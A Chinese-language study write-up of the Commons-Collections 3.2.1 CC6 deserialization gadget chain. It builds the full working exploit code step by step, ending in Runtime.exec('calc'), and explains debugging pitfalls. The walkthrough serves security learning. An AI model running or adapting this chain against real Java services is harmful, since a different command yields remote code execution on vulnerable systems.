环境搭建
- jdk8u_71
- Comoons-Collections 3.2.1
前言
先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧,我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为 jdk8u65
与 Commons-Collections 3.2.1
而我们的 CC6 链,可以不受 jdk 版本制约。
如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS
CC6 链的前半条链与 CC1 正版链子是一样的,也就是到 LazyMap 链
LazyMap链
1
2
3
4
5
6
7
8
9
|
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,invokerTransformer);
//decoratemap.get(Runtime.class);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
method.setAccessible(true);
method.invoke(decoratemap,runtime);
|
成功弹计算器
TiedMapEntry.getValue触发get
然后找调用了get
方法的类
链子的下一步是TiedMapEntry
的getValue
调用了LazyMap
的get()
方法

看构造方法是public,这里map->LazyMap,value->Runtime.class

这里可以不需要通过反射来获取方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
// decoratemap.get(Runtime.class);
// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
// method.setAccessible(true);
// method.invoke(decoratemap,runtime);
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,123);
tiedMapEntry.getValue();
|
成功弹了
TiedMapEntry.hashCode触发getValue
因为getValue
的方法相当常见,寻找同名类的其他调用getValue
的方法

找到还是TiedMapEntry
类的hashCode
方法,这里调用了getValue
之前说cc6=cc1+URLDNS,而hashCode刚好是URLDNS链的入口
1
|
tiedMapEntry.hashCode();
|
运行后成功弹计算器
HashMap.hash触发hashCode
后面的链子就是HashMap
的hash

HashMap.put触发hash
HashMap
的put
\
为什么readObject都没有put,这里用put
?因为 在 Java 的反序列化过程中,HashMap
会自动调用 put
方法来恢复数据结构 ,而且hash(key)是从put(key,value)传进来的
所以put->hash hash->hashCode
是常见的HashMap
的链子
1
2
|
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
|
这样可以弹
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(hashmap,chainedTransformer);
// decoratemap.get(Runtime.class);
// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
// method.setAccessible(true);
// method.invoke(decoratemap,runtime);
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123);
// tiedMapEntry.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
serialize(map);
unserialize("ser.bin");
|
问题一
但是注释掉反序列化代码,序列化的时候也会弹出计算器
原因

序列化的时候put就会进入hash从而走一遍链子触发弹计算器
解决
先将假的LazyMap
放进去,put完后再通过反射修改属性值将正确的LazyMap
放到factory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
//给假的
Map<Object,Object> lazymap = LazyMap.decorate(hashmap,new ConstantTransformer("1"));
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123);
//tiedMapEntry.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
serialize(map);
|
问题二
序列化不会弹计算器
但反序列化也不会弹计算器
原因
调试时发现


key不等于false,不会进入链子
解决
通过remove
将传入的"abc"去掉
最终exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
//给假的
Map<Object,Object> lazymap = LazyMap.decorate(hashmap,new ConstantTransformer("1"));
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"abc");
// tiedMapEntry.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
lazymap.remove("abc");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
serialize(map);
unserialize("ser.bin");
|
问题三
在序列化前打断点,调试的时候会弹出计算器

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString()
方法,所以在创建 TiedMapEntry
的时候,就自动调用了 getValue()
最终将链子走完,然后弹出计算器。
解决

在 IDEA 的偏好设置当中如图修改即可。

总结
流程图

链子
1
2
3
4
5
6
7
8
9
|
ObjectInputStream.readObject
HashMap.readObject
HashMap.put
HashMap.hash
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.get
ChainedTransformer.transformer
InvokerTransformer.transformer
|